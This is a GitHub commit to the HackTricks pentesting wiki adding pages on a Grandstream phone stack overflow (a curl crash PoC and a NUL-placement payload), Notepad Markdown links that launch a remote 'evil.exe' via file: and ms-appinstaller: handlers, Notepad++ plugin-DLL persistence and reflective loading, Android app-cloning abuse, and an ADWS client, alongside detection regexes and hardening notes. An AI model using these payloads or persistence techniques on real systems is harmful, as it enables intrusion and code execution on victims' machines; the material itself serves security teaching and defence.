Skip to content

Commit 9795658

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 360e906 + fac71a2 commit 9795658

File tree

8 files changed

+193
-2
lines changed

8 files changed

+193
-2
lines changed

src/SUMMARY.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -255,6 +255,7 @@
255255
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
256256
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
257257
- [Kernel Race Condition Object Manager Slowdown](windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown.md)
258+
- [Notepad Plus Plus Plugin Autoload Persistence](windows-hardening/windows-local-privilege-escalation/notepad-plus-plus-plugin-autoload-persistence.md)
258259
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
259260
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
260261
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
@@ -352,6 +353,7 @@
352353
- [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
353354
- [Cobalt Strike](windows-hardening/cobalt-strike.md)
354355
- [Mythic](windows-hardening/mythic.md)
356+
- [Protocol Handler Shell Execute Abuse](windows-hardening/protocol-handler-shell-execute-abuse.md)
355357

356358
# 📱 Mobile Pentesting
357359

@@ -360,6 +362,7 @@
360362
- [Abusing Android Media Pipelines Image Parsers](mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md)
361363
- [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
362364
- [Android Anti Instrumentation And Ssl Pinning Bypass](mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md)
365+
- [Android Application Level Virtualization](mobile-pentesting/android-app-pentesting/android-application-level-virtualization.md)
363366
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
364367
- [Android Enterprise Work Profile Bypass](mobile-pentesting/android-app-pentesting/android-enterprise-work-profile-bypass.md)
365368
- [Android Hce Nfc Emv Relay Attacks](mobile-pentesting/android-app-pentesting/android-hce-nfc-emv-relay-attacks.md)

src/binary-exploitation/stack-overflow/README.md

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -115,6 +115,14 @@ There are several protections trying to prevent the exploitation of vulnerabilit
115115
../common-binary-protections-and-bypasses/
116116
{{#endref}}
117117

118+
### Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
119+
120+
- `/app/bin/gs_web` (32-bit ARM) exposes `/cgi-bin/api.values.get` on TCP/80 with **no authentication**. The POST parameter `request` is colon-delimited; each character is copied into `char small_buffer[64]` and the token is NUL-terminated on `:` or end, **without any length check**, letting a single oversized token smash the saved registers/return address.
121+
- PoC overflow (crashes and shows attacker data in registers): `curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)"`.
122+
- **Delimiter-driven multi-NUL placement**: every colon restarts parsing and appends a trailing NUL. By using multiple overlong identifiers, each token’s terminator can be aligned to a different offset in the corrupted frame, letting the attacker place **several `0x00` bytes** even though each overflow normally adds only one. This is crucial because the non-PIE binary is mapped at `0x00008000`, so ROP gadget addresses embed NUL bytes.
123+
- Example colon payload to drop five NULs at chosen offsets (lengths tuned per stack layout): `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE`
124+
- `checksec` shows **NX enabled**, **no canary**, **no PIE**. Exploitation uses a ROP chain built from fixed addresses (e.g., call `system()` then `exit()`), staging arguments after planting the required NUL bytes with the delimiter trick.
125+
118126
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
119127

120128
A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
@@ -230,7 +238,6 @@ Once the library base is known, common gadgets (`pop rdi`, `pop rsi`, `mov [rdi]
230238
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
231239
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
232240
* [Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey](https://www.synacktiv.com/en/publications/breaking-the-beestation-inside-our-pwn2own-2025-exploit-journey.html)
241+
* [Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600](https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed)
233242

234243
{{#include ../../banners/hacktricks-training.md}}
235-
236-

src/mobile-pentesting/android-app-pentesting/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@ Sometimes it is interesting to **modify the application code** to access **hidde
2727

2828
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
2929
- [Play Integrity attestation spoofing (SafetyNet replacement)](play-integrity-attestation-bypass.md)
30+
- [Android app-level virtualization / app cloning abuse & detection](android-application-level-virtualization.md)
3031
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
3132
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
3233
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# Android Application-Level Virtualization (App Cloning)
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
Application-level virtualization (aka app cloning/container frameworks such as DroidPlugin-class loaders) runs multiple APKs inside a single host app that controls lifecycle, class loading, storage, and permissions. Guests often execute inside the host UID, collapsing Android’s normal per-app isolation and making detection difficult because the system sees one process/UID.
6+
7+
## Baseline install/launch vs virtualized execution
8+
9+
- **Normal install**: Package Manager extracts APK → `/data/app/<rand>/com.pkg-<rand>/base.apk`, assigns a **unique UID**, and Zygote forks a process that loads `classes.dex`.
10+
- **Dex load primitive**: `DexFile.openDexFile()` delegates to `openDexFileNative()` using absolute paths; virtualization layers commonly hook/redirect this to load guest dex from host-controlled paths.
11+
- **Virtualized launch**: Host starts a process under **its UID**, loads the guest’s `base.apk`/dex with a custom loader, and exposes lifecycle callbacks via Java proxies. Guest storage API calls are remapped to host-controlled paths.
12+
13+
## Abuse patterns
14+
15+
- **Permission escalation via shared UID**: Guests run under the host UID and can inherit **all host-granted permissions** even if not declared in the guest manifest. Over-permissioned hosts (massive `AndroidManifest.xml`) become “permission umbrellas”.
16+
- **Stealthy code loading**: Host hooks `openDexFileNative`/class loaders to inject, replace, or instrument guest dex at runtime, bypassing static analysis.
17+
- **Malicious host vs malicious guest**:
18+
- *Evil host*: acts as dropper/executor, instruments/filters guest behavior, tampers with crashes.
19+
- *Evil guest*: abuses shared UID to reach other guests’ data, ptrace them, or leverage host permissions.
20+
21+
## Fingerprinting & detection
22+
23+
- **Multiple base.apk in one process**: A container often maps several APKs in the same PID.
24+
```bash
25+
adb shell "cat /proc/<pid>/maps | grep base.apk"
26+
# Suspicious: host base.apk + unrelated packages mapped together
27+
```
28+
- **Hooking/instrumentation artifacts**: Search for known libs (e.g., Frida) in maps and confirm on disk.
29+
```bash
30+
adb shell "cat /proc/<pid>/maps | grep frida"
31+
adb shell "file /data/app/..../lib/arm64/libfrida-gadget.so"
32+
```
33+
- **Crash-tamper probe**: Intentionally trigger an exception (e.g., NPE) and observe whether the process dies normally; hosts that intercept lifecycle/crash paths may swallow or rewrite crashes.
34+
35+
## Hardening notes
36+
37+
- **Server-side attestation**: Enforce sensitive operations behind [Play Integrity](play-integrity-attestation-bypass.md) tokens so only genuine installs (not dynamically loaded guests) are accepted server-side.
38+
- **Use stronger isolation**: For highly sensitive code, prefer **Android Virtualization Framework (AVF)**/TEE-backed execution instead of app-level containers that share a UID.
39+
40+
## References
41+
42+
- [Android Application-Level Virtualization (App Cloning) — How It Works, Abuse, and Detection](https://blog.azzahid.com/posts/android-app-virtualization/)
43+
44+
{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/adws-enumeration.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,16 @@ Use the same host/credentials to immediately weaponise findings: dump RBCD-capab
4949
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
5050
```
5151

52+
## Sopa - A practical client for ADWS in Golang
53+
54+
Similarly as soapy, [sopa](https://github.com/Macmod/sopa) implements the ADWS protocol stack (MS-NNS + MC-NMF + SOAP) in Golang, exposing command-line flags to issue ADWS calls such as:
55+
56+
* **Object search & retrieval** - `query` / `get`
57+
* **Object lifecycle** - `create [user|computer|group|ou|container|custom]` and `delete`
58+
* **Attribute editing** - `attr [add|replace|delete]`
59+
* **Account management** - `set-password` / `change-password`
60+
* and others such as `groups`, `members`, `optfeature`, `info [version|domain|forest|dcs]`, etc.
61+
5262
## SOAPHound – High-Volume ADWS Collection (Windows)
5363

5464
[FalconForce SOAPHound](https://github.com/FalconForceTeam/SOAPHound) is a .NET collector that keeps all LDAP interactions inside ADWS and emits BloodHound v4-compatible JSON. It builds a complete cache of `objectSid`, `objectGUID`, `distinguishedName` and `objectClass` once (`--buildcache`), then re-uses it for high-volume `--bhdump`, `--certdump` (ADCS), or `--dnsdump` (AD-integrated DNS) passes so only ~35 critical attributes ever leave the DC. AutoSplit (`--autosplit --threshold <N>`) automatically shards queries by CN prefix to stay under the 30-minute EnumerationContext timeout in large forests.
@@ -121,6 +131,7 @@ Combine this with `s4u2proxy`/`Rubeus /getticket` for a full **Resource-Based Co
121131
| High-volume ADWS dump | [SOAPHound](https://github.com/FalconForceTeam/SOAPHound) | .NET, cache-first, BH/ADCS/DNS modes |
122132
| BloodHound ingest | [BOFHound](https://github.com/bohops/BOFHound) | Converts SoaPy/ldapsearch logs |
123133
| Cert compromise | [Certipy](https://github.com/ly4k/Certipy) | Can be proxied through same SOCKS |
134+
| ADWS enumeration & object changes | [sopa](https://github.com/Macmod/sopa) | Generic client to interface with known ADWS endpoints - allows for enumeration, object creation, attribute modifications, and password changes |
124135

125136
## References
126137

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
# Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
2+
3+
{{#include ../banners/hacktricks-training.md}}
4+
5+
Modern Windows applications that render Markdown/HTML often turn user-supplied links into clickable elements and hand them to `ShellExecuteExW`. Without strict scheme allowlisting, any registered protocol handler (e.g., `file:`, `ms-appinstaller:`) can be triggered, leading to code execution in the current user context.
6+
7+
## ShellExecuteExW surface in Windows Notepad Markdown mode
8+
- Notepad chooses Markdown mode **only for `.md` extensions** via a fixed string comparison in `sub_1400ED5D0()`.
9+
- Supported Markdown links:
10+
- Standard: `[text](target)`
11+
- Autolink: `<target>` (rendered as `[target](target)`), so both syntaxes matter for payloads and detections.
12+
- Link clicks are processed in `sub_140170F60()`, which performs weak filtering and then calls `ShellExecuteExW`.
13+
- `ShellExecuteExW` dispatches to **any configured protocol handler**, not just HTTP(S).
14+
15+
### Payload considerations
16+
- Any `\\` sequences in the link are **normalized to `\`** before `ShellExecuteExW`, impacting UNC/path crafting and detection.
17+
- `.md` files are **not associated with Notepad by default**; the victim must still open the file in Notepad and click the link, but once rendered, the link is clickable.
18+
- Dangerous example schemes:
19+
- `file://` to launch a local/UNC payload.
20+
- `ms-appinstaller://` to trigger App Installer flows. Other locally registered schemes may also be abusable.
21+
22+
### Minimal PoC Markdown
23+
```markdown
24+
[run](file://\\192.0.2.10\\share\\evil.exe)
25+
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
26+
```
27+
28+
### Exploitation flow
29+
1. Craft a **`.md` file** so Notepad renders it as Markdown.
30+
2. Embed a link using a dangerous URI scheme (`file:`, `ms-appinstaller:`, or any installed handler).
31+
3. Deliver the file (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB or similar) and convince the user to open it in Notepad.
32+
4. On click, the **normalized link** is handed to `ShellExecuteExW` and the corresponding protocol handler executes the referenced content in the user’s context.
33+
34+
## Detection ideas
35+
- Monitor transfers of `.md` files over ports/protocols that commonly deliver documents: `20/21 (FTP)`, `80 (HTTP)`, `443 (HTTPS)`, `110 (POP3)`, `143 (IMAP)`, `25/587 (SMTP)`, `139/445 (SMB/CIFS)`, `2049 (NFS)`, `111 (portmap)`.
36+
- Parse Markdown links (standard and autolink) and look for **case-insensitive** `file:` or `ms-appinstaller:`.
37+
- Vendor-guided regexes to catch remote resource access:
38+
```
39+
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
40+
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
41+
```
42+
- Patch behavior reportedly **allowlists local files and HTTP(S)**; anything else reaching `ShellExecuteExW` is suspicious. Extend detections to other installed protocol handlers as needed, since attack surface varies by system.
43+
44+
## References
45+
- [CVE-2026-20841: Arbitrary Code Execution in the Windows Notepad](https://www.thezdi.com/blog/2026/2/19/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad)
46+
- [CVE-2026-20841 PoC](https://github.com/BTtea/CVE-2026-20841-PoC)
47+
48+
{{#include ../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/README.md

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -749,6 +749,14 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
749749
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
750750
```
751751
752+
### Notepad++ plugin autoload persistence/execution
753+
754+
Notepad++ autoloads any plugin DLL under its `plugins` subfolders. If a writable portable/copy install is present, dropping a malicious plugin gives automatic code execution inside `notepad++.exe` on every launch (including from `DllMain` and plugin callbacks).
755+
756+
{{#ref}}
757+
notepad-plus-plus-plugin-autoload-persistence.md
758+
{{#endref}}
759+
752760
### Run at startup
753761
754762
**Check if you can overwrite some registry or binary that is going to be executed by a different user.**\
@@ -1560,6 +1568,14 @@ telephony-tapsrv-arbitrary-dword-write-to-rce.md
15601568
15611569
Check out the page **[https://filesec.io/](https://filesec.io/)**
15621570
1571+
### Protocol handler / ShellExecute abuse via Markdown renderers
1572+
1573+
Clickable Markdown links forwarded to `ShellExecuteExW` can trigger dangerous URI handlers (`file:`, `ms-appinstaller:` or any registered scheme) and execute attacker-controlled files as the current user. See:
1574+
1575+
{{#ref}}
1576+
../protocol-handler-shell-execute-abuse.md
1577+
{{#endref}}
1578+
15631579
### **Monitoring Command Lines for passwords**
15641580
15651581
When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Notepad++ Plugin Autoload Persistence & Execution
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
Notepad++ will **autoload every plugin DLL found under its `plugins` subfolders** on launch. Dropping a malicious plugin into any **writable Notepad++ installation** gives code execution inside `notepad++.exe` every time the editor starts, which can be abused for **persistence**, stealthy **initial execution**, or as an **in-process loader** if the editor is launched elevated.
6+
7+
## Writable plugin locations
8+
- Standard install: `C:\Program Files\Notepad++\plugins\<PluginName>\<PluginName>.dll` (usually requires admin to write).
9+
- Writable options for low-privileged operators:
10+
- Use the **portable Notepad++ build** in a user-writable folder.
11+
- Copy `C:\Program Files\Notepad++` to a user-controlled path (e.g., `%LOCALAPPDATA%\npp\`) and run `notepad++.exe` from there.
12+
- Each plugin gets its own subfolder under `plugins` and is loaded automatically at startup; menu entries appear under **Plugins**.
13+
14+
## Plugin load points (execution primitives)
15+
Notepad++ expects specific **exported functions**. These are all called during initialization, giving multiple execution surfaces:
16+
- **`DllMain`** — runs immediately on DLL load (first execution point).
17+
- **`setInfo(NppData)`** — called once on load to provide Notepad++ handles; typical place to register menu items.
18+
- **`getName()`** — returns the plugin name shown in the menu.
19+
- **`getFuncsArray(int *nbF)`** — returns menu commands; even if empty, it is called during startup.
20+
- **`beNotified(SCNotification*)`** — receives editor events (file open/change, UI events) for ongoing triggers.
21+
- **`messageProc(UINT, WPARAM, LPARAM)`** — message handler, useful for larger data exchanges.
22+
- **`isUnicode()`** — compatibility flag checked at load.
23+
24+
Most exports can be implemented as **stubs**; execution can occur from `DllMain` or any callback above during autoload.
25+
26+
## Minimal malicious plugin skeleton
27+
Compile a DLL with the expected exports and place it in `plugins\\MyNewPlugin\\MyNewPlugin.dll` under a writable Notepad++ folder:
28+
29+
```c
30+
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID) { if (r == DLL_PROCESS_ATTACH) MessageBox(NULL, TEXT("Hello from Notepad++"), TEXT("MyNewPlugin"), MB_OK); return TRUE; }
31+
extern "C" __declspec(dllexport) void setInfo(NppData) {}
32+
extern "C" __declspec(dllexport) const TCHAR *getName() { return TEXT("MyNewPlugin"); }
33+
extern "C" __declspec(dllexport) FuncItem *getFuncsArray(int *nbF) { *nbF = 0; return NULL; }
34+
extern "C" __declspec(dllexport) void beNotified(SCNotification *) {}
35+
extern "C" __declspec(dllexport) LRESULT messageProc(UINT, WPARAM, LPARAM) { return TRUE; }
36+
extern "C" __declspec(dllexport) BOOL isUnicode() { return TRUE; }
37+
```
38+
39+
1. Build the DLL (Visual Studio/MinGW).
40+
2. Create the plugin subfolder under `plugins` and drop the DLL inside.
41+
3. Restart Notepad++; the DLL is loaded automatically, executing `DllMain` and subsequent callbacks.
42+
43+
## Reflective loader plugin pattern
44+
A weaponized plugin can turn Notepad++ into a **reflective DLL loader**:
45+
- Present a minimal UI/menu entry (e.g., "LoadDLL").
46+
- Accept a **file path** or **URL** to fetch a payload DLL.
47+
- Reflectively map the DLL into the current process and invoke an exported entry point (e.g., a loader function inside the fetched DLL).
48+
- Benefit: reuse a benign-looking GUI process instead of spawning a new loader; payload inherits the integrity of `notepad++.exe` (including elevated contexts).
49+
- Trade-offs: dropping an **unsigned plugin DLL** to disk is noisy; consider piggybacking on existing trusted plugins if present.
50+
51+
## Detection and hardening notes
52+
- Block or monitor **writes to Notepad++ plugin directories** (including portable copies in user profiles); enable controlled folder access or application allowlisting.
53+
- Alert on **new unsigned DLLs** under `plugins` and unusual **child processes/network activity** from `notepad++.exe`.
54+
- Enforce plugin installation via **Plugins Admin** only, and restrict execution of portable copies from untrusted paths.
55+
56+
## References
57+
- [Notepad++ Plugins: Plug and Payload](https://trustedsec.com/blog/notepad-plugins-plug-and-payload)
58+
- [MyNewPlugin PoC snippet](https://gitlab.com/-/snippets/4930986)
59+
- [LoadDLL reflective loader plugin](https://gitlab.com/KevinJClark/ops-scripts/-/tree/main/notepad_plus_plus_plugin_LoadDLL)
60+
61+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)